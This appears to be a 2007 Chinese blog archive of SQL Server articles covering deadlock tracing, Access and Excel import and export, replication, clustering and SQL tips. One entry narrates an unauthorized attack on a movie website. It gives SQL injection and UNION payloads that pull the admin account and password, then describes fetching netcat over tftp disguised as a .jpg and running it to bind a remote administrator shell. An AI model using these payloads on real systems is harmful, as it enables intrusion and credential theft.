续.....
2007-9-12 12:43:34 SQL Server 数据库中关于死锁的分析SQL Server 数据库中关于死锁的分析
SQL Server数据库发生死锁时不会像ORACLE那样自动生成一个跟踪文件。有时可以在[管理]->[当前活动] 里看到阻塞信息(有时SQL Server企业管理器会因为锁太多而没有响应).
设定跟踪1204:
USE MASTER
DBCC TRACEON (1204,-1)
显示当前启用的所有跟踪标记的状态:
DBCC TRACESTATUS(-1)
取消跟踪1204:
DBCC TRACEOFF (1204,-1)
在设定跟踪1204后,会在数据库的日志文件里显示SQL Server数据库死锁时一些信息。但那些信息很难看懂,需要对照SQL Server联机丛书仔细来看。根据PAG锁要找到相关数据库表的方法:
DBCC TRACEON (3604)
DBCC PAGE (db_id,file_id,page_no)
DBCC TRACEOFF (3604)
请参考sqlservercentral.com上更详细的讲解.但又从CSDN学到了一个找到死锁原因的方法。我稍加修改, 去掉了游标操作并增加了一些提示信息,写了一个系统存储过程sp_who_lock.sql。代码如下:
if exists (select * from dbo.sysobjects
where id = object_id(N'[dbo].[sp_who_lock]')
and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_who_lock]
GO
/********
// 创建 : fengyu 邮件 :
[email protected]
// 日期 :2004-04-30
// 修改 : 从http://www.csdn.net/develop/Read_Article.asp?id=26566
// 学习到并改写
// 说明 : 查看数据库里阻塞和死锁情况
********/
use master
go
create procedure sp_who_lock
as
begin
declare @spid int,@bl int,
@intTransactionCountOnEntry int,
@intRowcount int,
@intCountProperties int,
@intCounter int
create table #tmp_lock_who (
id int identity(1,1),
spid smallint,
bl smallint)
IF @@ERROR<>0 RETURN @@ERROR
insert into #tmp_lock_who(spid,bl) select 0 ,blocked
from (select * from sysprocesses where blocked>0 ) a
where not exists(select * from (select * from sysprocesses
where blocked>0 ) b
where a.blocked=spid)
union select spid,blocked from sysprocesses where blocked>0
IF @@ERROR<>0 RETURN @@ERROR
-- 找到临时表的记录数
select @intCountProperties = Count(*),@intCounter = 1
from #tmp_lock_who
IF @@ERROR<>0 RETURN @@ERROR
if @intCountProperties=0
select '现在没有阻塞和死锁信息' as message
-- 循环开始
while @intCounter <= @intCountProperties
begin
-- 取第一条记录
select @spid = spid,@bl = bl
from #tmp_lock_who where Id = @intCounter
begin
if @spid =0
select '引起数据库死锁的是: '+ CAST(@bl AS VARCHAR(10))
+ '进程号,其执行的SQL语法如下'
else
select '进程号SPID:'+ CAST(@spid AS VARCHAR(10))+ '被'
+ '进程号SPID:'+ CAST(@bl AS VARCHAR(10)) +'阻塞,其当前进程执行的SQL语法如下'
DBCC INPUTBUFFER (@bl )
end
-- 循环指针下移
set @intCounter = @intCounter + 1
end
drop table #tmp_lock_who
return 0
end
需要的时候直接调用:
sp_who_lock
就可以查出引起死锁的进程和SQL语句.
SQL Server自带的系统存储过程sp_who和sp_lock也可以用来查找阻塞和死锁, 但没有这里介绍的方法好用。如果想知道其它tracenum参数的含义,请看www.sqlservercentral.com文章
我们还可以设置锁的超时时间(单位是毫秒), 来缩短死锁可能影响的时间范围:
例如:
use master
seelct @@lock_timeout
set lock_timeout 900000
-- 15分钟
seelct @@lock_timeout
2007-9-12 12:45:14 SQL注入奇招致胜 Union查询轻松看电影SQL注入奇招致胜 Union查询轻松看电影
周末无聊,同学想让我帮他下载一些电影看,我爽快的答应了。看了这么多期X档案,水平自然长进不少。这次想免费下载些电影,没问题(我知道N多电影程序有漏洞)。闲话少说,切入正题。
我打开Google,随便搜索了一下电影网站,点开了一个。看了一下界面,知道和电影系统关联很大。系统和"洞"网(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比如注入啊,COOKIE欺骗什么的。我就在X档案03年11期看过一篇文章,写的是用ASC和MID函数对系统管理员帐户进行猜测。我也想用这种方法猜测,猜了半天都没猜对,真烦人,同学还在那边等我哪,这不是很丢人。我决定找个简单的办法,还是读读源码吧!
下载了一个电影系统,看了一下,这么多个文件,头马上大了。还是在自己电脑上运行一下吧。注册了一个用户,点了一下找回密码,别人说这里有漏洞。看了一下,象是有漏洞的界面,有三个参数,还直接把密码显示出来。好,看一下源码。
39
...
58
这里果然没过滤。好多人都想到了可以用上面的方法注入了。能不能有更简单的方法呢?
我仔细考虑语句的形式如下:
select password from users where userid=‘‘ and city=‘‘ and adress='‘
如果用户名,密码提示问题(city),密码提示答案(adress)和表users一行匹配,便打印这行的password,而且是明文的。我想的过程就不写了,后来我想到了一种方法,就是利用union查询。Access功能是很弱的,不能执行命令,不能导出文本,还不能注释。有个子查询可以利用之外,也就剩下这个 union了。
怎么利用呢?先在本机做实验。测试过程简略,直接写有所收获的结果。要是知道了一个该网站的一个用户名(比如abc),可以这样利用。在"你注册问题"处填: abc' or ‘1=1(如果用户名是bcd,就变为bcd' or ‘1=1)密码提示问题处随便填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示答案处随便填几个字母或数字,填个a回车后就看到该用户的密码了,简单吧(如图一)。其实这样一来,上面的语句就变为:
select password from users
where userid=‘abc' or ‘1=1‘ and city=‘a‘ and adress='a‘
呵呵,程序无条件的执行了,因为被 or ‘1=1'跳过后面的验证了。可是网站用户名也不是轻易得到的啊。别急,得到用户名一样简单。如下:在"你注册问题"处随便处填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示问题处和上面一样,随便填:我也填个a关键是在密码提示答案:我填的是a' union select userid from users where oklook>=3 or '0上面就是要找黄金用户的帐户名,看到用户名后再用前面的方法找到密码。可以在where后面加很多参数并赋不同的值可以得到很多帐户。按上面的填入后输入语句就变成了:
select password from users
where userid=‘a‘ and city=‘a‘ and
adress=' a' union select userid from users where oklook>=3 or '0 ‘
细心的读者看到这可能已经想到怎样得到管理员的帐号和密码,不错,也很简单。我也不写过程了,直接写出语句如下:
得到帐号:
select password from users
where userid=‘a‘ and city=‘a‘ and adress=' a'
union select name from okwiantgo where id>=1 or '0 ‘
得到密码:
select password from users
where userid=‘a‘ and city=‘a‘ and adress=' a'
union select pwd from okwiantgo where id>=1 or '0 ‘
然后登陆就行了,路径格式为:
http://网站电影路径/findaccout.asp?name=管理员帐号&pwd=管理员密码
回车,很轻松就进管理界面了。有时findaccount.asp可能被改名了,这时只能拿个黄金帐户了。
这个漏洞有很多电影程序有,有的程序表名不是okwiantgo(程序会报告64行属性不对),改成admin或password.,把上面的输入稍微修改一下行了。这样一来不管是多复杂的密码,或者是中文密码都没问题。再猜管理员帐户的时候也要多,where后面的条件多变化才行,否则可能得不到超级管理员。
这个漏洞使用很简单,危害极大,轻易可以得到管理员帐户。如果系统配置不当,在upload/uploadmovie.asp允许上传ASP文件,系统就很容易换主人了。我曾经成功渗透过这样一个网站,简单过程叙述如下。
上传一个ASP程序,发现该系统运行SQLSERVER,通过读源文件看到了sa的密码,用sqlexec连接,tftp上传nc.exe。再次dir发现nc被删了,有防火强。用tftp上传nc.jpg肯定万无一失, tftp -i 我的IP get nc.exe nc.jpg,上传成功。在sqlexec运行
nc.jpg -l -p 99 -e c\winnt\system32\cmd.exe
nc想必都很熟悉了吧,上面就是再目标机器上开一个99端口监听,同时把cmd.exe重定向到这里,本地连接nc.exe -vv 目标IP 99,得到shell,而且是管理员权限。输入 n
2007-9-12 12:46:45 SQLServer和Access、Excel数据传输总结SQLServer和Access、Excel数据传输总结
所谓的数据传输,其实是指SQLServer访问Access、Excel间的数据。
为什么要考虑到这个问题呢?
由于历史的原因,客户以前的数据很多都是在存入在文本数据库中,如Acess、Excel、Foxpro。现在系统升级及数据库服务器如SQLServer、ORACLE后,经常需要访问文本数据库中的数据,所以就会产生这样的需求。前段时间出差的项目,就是面临这样的一个问题:SQLServer和VFP之间的数据交换。
要完成标题的需要,在SQLServer中是一件非常简单的事情。
通常的可以有3种方式:1、DTS工具 2、BCP 3、分布式查询
DTS就不需要说了,因为那是图形化操作界面,很容易上手。
这里主要讲下后面两们,分别以查、增、删、改作为简单的例子:
下面废话就不说了,直接以T-SQL的形式表现出来。
一、SQLServer和Access
1、查询Access中数据的方法:
select * from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
或
select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0','Data Source="c:\DB2.mdb";User ID=Admin;Password=')...serv_user
2、从SQLServer向Access写数据:
insert into OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')
select * from SQLServer表
或用BCP
master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'
上面的区别主要是:OpenRowSet需要mdb和表存在,BCP会在不存在的时候生成该mdb
3、从Access向SQLServer写数据:有了上面的基础,这个就很简单了
insert into SQLServer表 select * from
OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')
或用BCP
master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" in "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'
4、删除Access数据:
delete from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
where lock=0
5、修改Access数据:
update OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
set lock=1
SQLServer和Access大致就这么多。
二、SQLServer和Excel
1、向Excel查询
select * from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;
HDR=yes;database=c:\book1.xls;','select * from [Sheet1$]')
where c like '%f%'
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\book1.xls',[sheet1$])
1)hdr=yes时可以把xls的第1行作为字段看待,如第1个中hdr=no的话,where时就会报错
2)[]和美圆$必须要,否则M$可不认这个账
2、修改Execl
update OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;
database=c:\book1.xls;','select * from [Sheet1$]')
set a='erquan' where c like '%f%'
3、导入导出
insert into OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;
database=c:\book1.xls;','select * from [Sheet2$]')(id,name)
select id,name from serv_user
或BCP
master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\book2.xls" -c -q -S"." -U"sa" -P"sa"'
从Excel向SQLServer导入:
select * into serv_user_bak
from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;HDR=yes;database=c:\book1.xls;',
'select * from [Sheet1$]')
如果表serv_user_bak不存在,则创建
有关BCP和分布式查询的详细解答,就查SQLServer自带的帮助吧。
SQLServer和txt文件、HTML文件、VFP文件的数据交换都显得非常容易了。。。。
其实这些内容在帮助里都有,偶只不过是总结了一下,方便大家参考,呵呵''
以上内容都经过测试''
2007-9-12 12:47:57 从头谈起:数据库基础知识快速充电从头谈起:数据库基础知识快速充电
章1 介绍数据库的恢复
1.1 数据库的恢复
当我们使用一个数据库时,总希望数据库的内容是可靠的、正确的,但由于计算机系统的故障(硬件故障、软件故障、网络故障、进程故障和系统故障)影响数据库系统的操作,影响数据库中数据的正确性,甚至破坏数据库,使数据库中全部或部分数据丢失。因此当发生上述故障后,希望能重构这个完整的数据库,该处理称为数据库恢复。恢复过程大致可以分为复原与恢复过程。
章2 数据库恢复的基本方法
2.1 实例故障的一致性恢复
当实例意外地(如掉电、后台进程故障等)或预料地(发出SHUTDOUM ABORT语句)中止时出现实例故障,此时需要实例恢复。实例恢复将数据库恢复到故障之前的事务一致状态。如果在在线后被发现实例故障,则需介质恢复。在其它情况Oracle在下次数据库起动时(对新实例装配和打开),自动地执行实例恢复。
2.2 介质故障或文件错误的不一致恢复
1介质故障是当一个文件、一个文件的部分或磁盘不能读或不能写时出现的故障。文件错误一般指意外的错误导致文件被删除或意外事故导致文件的不一致。这种状态下的数据库都是不一致的,需要DBA手工来进行数据库的恢复。
2.3 了解与恢复相关的信息
2.3.1 理解报警日志文件
报警日志文件一般记载了数据库的启动/关闭信息,归档信息,备份信息,恢复信息,常见错误信息,部分数据库修改记录等。一般令名规则为Alrt.log或Alrt.log。
报警日志文件的路径是根据初始化参数background_dump_dest来决定的。
2.3.2 后台进程跟踪文件
后台进程跟踪文件的路径与报警日志文件的路径一致,在某些情况下,你可以通过后台跟踪文件的信息了解更多的需要恢复的信息。
2.3.3 v$recover_file与v$recovery_log
这是两个动态性能视图,可以在mount下查看,通过这两个视图,你可以了解详细的需要恢复的数据文件与需要使用到的归档日志。
2.4 损坏联机日志的恢复方法
2.4.1 损坏非当前联机日志
大家都清楚,联机日志分为当前联机日志和非当前联机日志,非当前联机日志的损坏是比较简单的,一般通过clear命令就可以解决问题 。
2.4.2 损坏当前联机日志
归档模式下当前日志的损坏有两种情况:
是数据库是正常关闭,日志文件中没有未决的事务需要实例恢复,当前日志组的损坏就可以直接用alter database clear unarchived logfile group n来重建。
是日志组中有活动的事务,数据库需要媒体恢复,日志组需要用来同步,有两种补救办法:
最好的办法就是通过不完全恢复,可以保证数据库的一致性,但是这种办法要求在归档方式下,并且有可用的备份。
通过强制性恢复,但是可能导致数据库不一致。
2.5 损坏控制文件的恢复方法
2.5.1 损坏单个控制文件
损坏单个控制文件是比较容易恢复的,因为一般的数据库系统,控制文件都不是一个,而且所有的控制文件都互为镜相,只要拷贝一个好的控制文件替换坏的控制文件就可以了。
说明:
损失单个控制文件是比较简单的,因为数据库中所有的控制文件都是镜相的,只需要简单的拷贝一个好的就可以了。
建议镜相控制文件在不同的磁盘上。
建议多做控制文件的备份,长期保留一份由alter database backup control file to trace产生的控制文件的文本备份。
2.5.2 损坏全部控制文件
1损坏多个控制文件,或者人为的删除了所有的控制文件,通过控制文件的复制已经不能解决问题,这个时候需要重新建立控制文件。
1同时注意,alter database backup control file to trace可以产生一个控制文件的文本备份。
说明:
重建控制文件用于恢复全部数据文件的损坏,需要注意其书写的正确性,保证包含了所有的数据文件与联机日志。
2007-9-12 12:50:47 如何创建SQL Server 2000故障转移群集如何创建SQL Server 2000故障转移群集
在创建SQL Server 2000 故障转移群集之前,必须配置 Microsoft 群集服务 (MSCS) 并使用 Microsoft Windows NT4.0 或 Windows 2000 中的群集管理员创建至少一个群集磁盘资源。在运行 SQL Server 安装程序之前,在群集管理员中记下群集驱动器的位置,因为创建新的故障转移群集需要该信息。只有SQL Server 2000 企业版才支持群集。
在创建SQL Server 2000 故障转移群集之前,必须配置 Microsoft 群集服务 (MSCS) 并使用 Microsoft Windows NT4.0 或 Windows 2000 中的群集管理员创建至少一个群集磁盘资源。在运行 SQL Server 安装程序之前,在群集管理员中记下群集驱动器的位置,因为创建新的故障转移群集需要该信息。只有SQL Server 2000 企业版才支持群集。
1. 在"Microsoft SQL Server 安装向导的“欢迎”屏幕中,单击“下一步”按钮。
2.在“计算机名称”屏幕上,单击“虚拟服务器”并输入虚拟**********。如果安装程序检测到 MSCS 正在运行,则将默认为“虚拟服务器”,单击“下一步”按钮。
3. 在“用户信息”屏幕上,输入用户名和公司名。单击“下一步”按钮。
4. 在“软件许可协议”屏幕上,单击“是”按钮。
5. 在“故障转移群集”屏幕上,输入为客户端访问配置的每个网络的一个 IP 地址。也就是为每个虚拟服务器可由公共(或混合)网络上的客户端使用的网络输入一个 IP 地址,选择要输入 IP 地址的网络,然后输入 IP 地址,单击“添加”按钮。
显示 IP 地址和子网,子网由 MSCS 提供,继续为每个已安装的网络输入 IP 地址,直到所有需要的网络都填充了 IP 地址,单击“下一步”按钮。
6. 在“群集磁盘选择”屏幕中,选择在默认情况下用于放置数据文件的群集磁盘组。单击“下一步”按钮。
7.在“群集管理”屏幕中,查看 SQL Server 2000 所提供的群集定义。默认情况下,选定所有可用节点。删除不属于正创建的虚拟服务器群集定义的任何节点,单击“下一步”按钮。
8.在“远程信息”屏幕中,输入远程群集节点的登录凭据,该登录凭据必须在群集的远程节点上有管理员特权,单击“下一步”按钮。
9.在“实例名称”屏幕中,选择默认实例或指定命名实例。若要指定命名实例,请先清除“默认”复选框,然后输入命名实例的名称,单击“下一步”按钮。
10.在“安装类型”屏幕中选择要安装的安装类型,安装程序自动默认为来自先前所选的组中的第一个可用群集磁盘资源。不过,如果需要指定另一个群集驱动器资源,可在“数据文件”下单击“浏览”按钮,然后指定群集驱动器资源的路径。安装程序将要求选择群集驱动器资源,该资源为正在运行安装程序的节点所拥有,该驱动器也必须是先前所选的群集组成员,单击“下一步”按钮。
11.在“服务帐户”屏幕上,选择要在故障转移群集中运行的服务帐户,单击“下一步”按钮。
12.在“身份验证模式”对话框中,选择要使用的身份验证模式。如果将选择内容从“Windows 身份验证模式”变为“混合模式(Windows 身份验证和 SQL Server 身份验证)”,则需要输入并确认 sa 登录密码,在“开始复制文件”屏幕上,单击“下一步”按钮。
13.在“安装完成”屏幕上,单击“完成”按钮。
如果安装程序指示重新启动计算机,则立即这样做。完成安装后,阅读来自安装程序的消息是很重要的。未能重新启动任何指定的节点可能导致将来在故障转移群集中的任何节点上运行安装程序失败。
注意:
1 两台服务器上的可群集磁盘的磁盘驱动器号必须相同。
2 SQL Server 2000 可执行文件安装在故障转移群集中每一节点的本地磁盘驱动器上,数据文件放置在先前所选的群集组中的可用群集磁盘资源
2007-9-12 12:57:59 两台Sql server数据同步两台Sql server数据同步
复制的概念
复制是将一组数据从一个数据源拷贝到多个数据源的技术,是将一份数据发布到多个存储站点上的有效方式。使用复制技术,用户可以将一份数据发布到多台服务器上,从而使不同的服务器用户都可以在权限的许可的范围内共享这份数据。复制技术可以确保分布在不同地点的数据自动同步更新,从而保证数据的一致性。
SQL复制的基本元素包括
出版服务器、订阅服务器、分发服务器、出版物、文章
SQL复制的工作原理
SQL SERVER 主要采用出版物、订阅的方式来处理复制。源数据所在的服务器是出版服务器,负责发表数据。出版服务器把要发表的数据的所有改变情况的拷贝复制到分发服务器,分发服务器包含有一个分发数据库,可接收数据的所有改变,并保存这些改变,再把这些改变分发给订阅服务器
SQL SERVER复制技术类型
SQL SERVER提供了三种复制技术,分别是:
1、快照复制(呆会我们就使用这个)
2、事务复制
3、合并复制
只要把上面这些概念弄清楚了那么对复制也就有了一定的理解。接下来我们就一步一步来实现复制的步骤。
第一先来配置出版服务器
(1)选中指定[服务器]节点
(2)从[工具]下拉菜单的[复制]子菜单中选择[发布、订阅服务器和分发]命令
(3)系统弹出一个对话框点[下一步]然后看着提示一直操作到完成。
(4)当完成了出版服务器的设置以后系统会为该服务器的树形结构中添加一个复制监视器。同时也生成一个分发数据库(distribution)
第二创建出版物
(1)选中指定的服务器
(2)从[工具]菜单的[复制]子菜单中选择[创建和管理发布]命令。此时系统会弹出一个对话框
(3)选择要创建出版物的数据库,然后单击[创建发布]
(4)在[创建发布向导]的提示对话框中单击[下一步]系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)
(5)单击[下一步]系统要求指定可以订阅该发布的数据库服务器类型,SQLSERVER允许在不同的数据库如 ORACLE或ACCESS之间进行数据复制。但是在这里我们选择运行"SQL SERVER 2000"的数据库服务器
(6)单击[下一步]系统就弹出一个定义文章的对话框也就是选择要出版的表
(7)然后[下一步]直到操作完成。当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库。
第三设计订阅
(1)选中指定的订阅服务器
(2)从[工具]下拉菜单中选择[复制]子菜单的[请求订阅]
(3)按照单击[下一步]操作直到系统会提示检查SQL SERVER代理服务的运行状态,执行复制操作的前提条件是SQL SERVER代理服务必须已经启动。
(4)单击[完成]。完成订阅操作。
完成上面的步骤其实复制也就是成功了。但是如何来知道复制是否成功了呢?这里可以通过这种方法来快速看是否成功。展开出版服务器下面的复制——发布内容——右键发布内容——属性——击活——状态然后点立即运行代理程序接着点代理程序属性击活调度把调度设置为每一天发生,每一分钟,在0:00:00和23:59:59之间。接下来就是判断复制是否成功了打开C:\Program Files\Microsoft SQL Server\MSSQL\REPLDATA\unc\XIAOWANGZI_database_database下面看是不是有一些以时间做为文件名的文件夹差不多一分中就产生一个。要是你还不信的话就打开你的数据库看在订阅的服务器的指定订阅数据库下看是不是看到了你刚才所发布的表—
一个手工同步的方案
--定时同步服务器上的数据
--例子:
--测试环境,SQL Server2000,远程服务器名:xz,用户名为:sa,无密码,测试数据库:test
--服务器上的表(查询分析器连接到服务器上创建)
create table [user](id int primary key,number varchar(4),name varchar(10))
go
--以下在局域网(本机操作)
--本机的表,state说明:null 表示新增记录,1 表示修改过的记录,0 表示无变化的记录
if exists (select * from dbo.sysobjects where id = object_id(N'[user]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [user]
GO
create table [user](id int identity(1,1),number varchar(4),name varchar(10),state bit)
go
--创建触发器,维护state字段的值
create trigger t_state on [user]
after update
as
update [user] set state=1
from [user] a join inserted b on a.id=b.id
where a.state is not null
go
--为了方便同步处理,创建链接服务器到要同步的服务器
--这里的远程服务器名为:xz,用户名为:sa,无密码
if exists(select 1 from master..s
2007-9-12 12:59:38 解决SQL命令单引号问题{-------------------------------------------------------------------------------
过程名: vartosql
作者: cxg
日期: 2007.09.11
参数: value: variant
返回值: string
todo: 解决SQL命令单引号问题
函数一旦发现字符串中有单引号出现,就在前面补上一个单引号
一旦SQL语句的查询条件的变量有单引号出现,数据库引擎就会报错指出SQL语法不对
-------------------------------------------------------------------------------}
function vartosql(value: variant): string;
implementation
function vartosql(value: variant): string;
begin
if varisnull(value) then
Result := 'NULL'
else
case vartype(value) of
vardate:
Result := Quotedstr(Datetimetostr(vartodatetime(value)));
varString, varOlestr:
Result := Quotedstr(Trim(Vartostr(value)));
varboolean:
begin
if value then
result := '1'
else
result := '0';
end;
else
Result := quotedstr(Trim(Vartostr(value)));
end;
end;
2007-9-12 13:02:58 同步两个Sql server同步两个Sql server
如何同步两个SQLServer数据库的内容?
程序代码可以有版本管理CVS进行同步管理,可是数据库同步就非常麻烦,只能自己改了一个后再去改另一个,如果忘记了更改另一个经常造成两个数据库的结构或内容上不一致。各位有什么好的方法吗?
分发与复制
用强制订阅实现数据库同步操作
大量和批量的数据可以用数据库的同步机制处理:
//
说明:
为方便操作,所有操作均在发布服务器(分发服务器)上操作,并使用推模式
在客户机器使用强制订阅方式。
有疑问联系作者:
[email protected]
测试通过
//
--1:环境
服务器环境:
机器名称: ZehuaDb
操作系统:Windows 2000 Server
数据库版本:SQL 2000 Server 个人版
客户端
机器名称:Zlp
操作系统:Windows 2000 Server
数据库版本:SQL 2000 Server 个人版
--2:建用户帐号
在服务器端建立域用户帐号
我的电脑管理->本地用户和组->用户->建立
UserName:zlp
UserPwd:zlp
--3:重新启动服务器MSSQLServer
我的电脑->控制面版->管理工具->服务->MSSQLServer 服务
(更改为:域用户帐号,我们新建的zlp用户 .\zlp,密码:zlp)
--4:安装分发服务器
A:配置分发服务器
工具->复制->配置发布、订阅服务器和分发->下一步->下一步(所有的均采用默认配置)
B:配置发布服务器
工具->复制->创建和管理发布->选择要发布的数据库(SZ)->下一步->快照发布->下一步->
选择要发布的内容->下一步->下一步->下一步->完成
C:强制配置订阅服务器(推模式,拉模式与此雷同)
工具->复制->配置发布、订阅服务器和分发->订阅服务器->新建->SQL Server数据库->输入客户端**********(ZLP)->使用SQL Server 身份验证 (sa,空密码)->确定->应用->确定
D:初始化订阅
复制监视器->发布服务器(ZEHUADB)->双击订阅->强制新建->下一步->选择启用的订阅服务器->ZLP->
下一步->下一步->下一步->下一步->完成
--5:测试配置是否成功
复制监视器->发布服务器(ZEHUADB)->双击SZ:SZ->点状态->点立即运行代理程序
查看:
复制监视器->发布服务器(ZEHUADB)->SZ:SZ->选择ZLP:SZ(类型强制)->鼠标右键->启动同步处理
如果没有错误标志(红色叉),恭喜您配置成功
--6:测试数据
--在服务器执行:
选择一个表,执行如下SQL
insert into WQ_NEWSGROUP_S select '测试成功',5
复制监视器->发布服务器(ZEHUADB)->SZ:SZ->快照->启动代理程序
->ZLP:SZ(强制)->启动同步处理
去查看同步的 WQ_NEWSGROUP_S 是否插入了一条新的记录
测试完毕,通过。
--7修改数据库的同步时间,一般选择夜晚执行数据库同步处理
(具体操作略) :D
/*
注意说明:
服务器一端不能以(local)进行数据的发布与分发,需要先删除注册,然后新建注册本地计算机名称
卸载方式:工具->复制->禁止发布->是在"ZehuaDb"上静止发布,卸载所有的数据库同步配置服务器
注意:发布服务器、分发服务器中的SQLServerAgent服务必须启动
采用推模式: "D:\Microsoft SQL Server\MSSQL\REPLDATA\unc" 目录文件可以不设置共享
拉模式:则需要共享'!
*/
少量数据库同步可以采用触发器实现,同步单表即可。
配置过程中可能出现的问题
在SQL Server 2000里设置和使用数据库复制之前,应先检查相关的几台SQL Server服务器下面几点是否满足:
1、MSSQLserver和Sqlserveragent服务是否是以域用户身份启动并运行的(.\administrator用户也是可以的)
如果登录用的是本地系统帐户local,将不具备网络功能,会产生以下错误:
进程未能连接到Distributor '@Server name'
(如果您的服务器已经用了SQL Server全文检索服务, 请不要修改MSSQLserver和Sqlserveragent服务的local启动。
会照成全文检索服务不能用。请换另外一台机器来做SQL Server 2000里复制中的分发服务器。)
修改服务启动的登录用户,需要重新启动MSSQLserver和Sqlserveragent服务才能生效。
2、检查相关的几台SQL Server服务器是否改过名称(需要srvid=0的本地机器上srvname和datasource一样)
在查询分析器里执行:
use master
select srvid,srvname,datasource from sysservers
如
2007-9-12 13:07:20 SQL高手篇:精妙SQL语句介绍SQL高手篇:精妙SQL语句介绍
1. 说明:复制表(只复制结构,源表名:a,新表名:b)
SQL: select * into b from a where 1<>1;
2. 说明:拷贝表(拷贝数据,源表名:a,目标表名:b)
SQL: insert into b(a, b, c) select d, e, f from b;
3. 说明:显示文章、提交人和最后回复时间
SQL: select a.title, a.username, b.adddate
from table a,(
select max(adddate) adddate
from table where table.title=a.title) b
4. 说明:外连接查询(表名1:a,表名2:b)
SQL: select a.a, a.b, a.c, b.c, b.d, b.f
from a LEFT OUT JOIN b ON a.a = b.c;
5. 说明:日程安排提前五分钟提醒
SQL: select *
from 日程安排
where datediff(''minute'', f开始时间, getdate())>5
6. 说明:两张关联表,删除主表中已经在副表中没有的信息
SQL: delete from info
where not exists(
select *
from infobz
where info.infid=infobz.infid );
7. 说明:——
SQL: SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE
FROM TABLE1,(SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE
FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND
FROM TABLE2
WHERE TO_CHAR(UPD_DATE,''YYYY/MM'') =
TO_CHAR(SYSDATE, ''YYYY/MM'')) X,
(SELECT NUM, UPD_DATE, STOCK_ONHAND
FROM TABLE2
WHERE TO_CHAR(UPD_DATE,''YYYY/MM'') =
TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, ''YYYY/MM'')
|| ''/01'',''YYYY/MM/DD'') - 1, ''YYYY/MM'') ) Y,
WHERE X.NUM = Y.NUM (+)AND X.INBOUND_QTY
+ NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND ) B
WHERE A.NUM = B.NUM;
8. 说明:——
SQL: select *
from studentinfo
where not exists(select * from student where studentinfo.id=student.id)
and 系名称=''"&strdepartmentname&"''
and 专业名称=''"&strprofessionname&"''
order by 性别, 生源地, 高考总成绩;
2007-9-12 13:17:19 使用 UNION 运算符组合多个结果使用 UNION 运算符组合多个结果
UNION 运算符使您得以将两个或多个 SELECT 语句的结果组合成一个结果集。使用 UNION 组合的结果集都必须具有相同的结构。而且它们的列
数必须相同,并且相应的结果集列的数据类型必须兼容。有关更多信息,请参见 UNION 运算符使用指南。
UNION 的指定方式如下:
select_statement UNION [ALL] select_statement
例如,Table1 和 Table2 具有相同的两列结构。
Table1 Table2
ColumnA ColumnB ColumnC ColumnD
char(4) int char(4) int
------- --- ------- ---
abc 1 ghi 3
def 2 jkl 4
ghi 3 mno 5
下面的查询在这两个表之间创建 UNION 运算:
SELECT * FROM Table1
UNION
SELECT * FROM Table2
下面是结果集:
ColumnA ColumnB
------- --------
abc 1
def 2
ghi 3
jkl 4
mno 5
UNION 的结果集列名与 UNION 运算符中第一个 SELECT 语句的结果集中的列名相同。另一个 SELECT 语句的结果集列名将被忽略。
默认情况下,UNION 运算符从结果集中删除重复的行。如果使用 ALL 关键字,那么结果中将包含所有行并且将不删除重复的行。
UNION 运算的准确结果取决于安装过程中选择的排序规则和 ORDER BY 子句。有关不同排序规则的效果的更多信息,请参见 SQL Server 排序
规则基础知识。
Transact-SQL 语句中可以出现任意数目的 UNION 运算符,例如:
SELECT * FROM TableA
UNION
SELECT * FROM TableB
UNION
SELECT * FROM TableC
UNION
SELECT * FROM TableD
默认情况下,Microsoft SQL Server 2000 从左到右对包含 UNION 运算符的语句进行取值。使用圆括号指定求值的顺序。例如,以下语句并
不等价:
/* First statement. */
SELECT * FROM TableA
UNION ALL
( SELECT * FROM TableB
UNION
SELECT * FROM TableC
)
GO
/* Second statement. */
(SELECT * FROM TableA
UNION ALL
SELECT * FROM TableB
)
UNION
SELECT * FROM TableC)
GO
在第一个语句中,将消除 TableB 和 TableC 之间的联合中的重复行。而在该集与 TableA 之间的并集中,不消除重复行。在第二个语句中,
TableA 和 TableB 之间的联合中包含重复行,但在随后与 TableC 的联合中将消除。ALL 关键字对此表达式的最终结果没有影响。
如果使用 UNION 运算符,那么单独的 SELECT 语句不能包含其自己的 ORDER BY 或 COMPUTE 子句。只能在最后一个 SELECT 语句的后面使用
一个 ORDER BY 或 COMPUTE 子句;该子句适用于最终的组合结果集。GROUP BY 和 HAVING 子句只能在单独的 SELECT 语句中指定。
2007-9-18 14:40:40 在SQLServer上得到客户端信息(操作的数据库名,计算机名,用户名,网卡物理地址,IP地址,程序名)在SQLServer上得到客户端信息(操作的数据库名,计算机名,用户名,网卡物理地址,IP地址,程序名)
create proc p_getlinkinfo
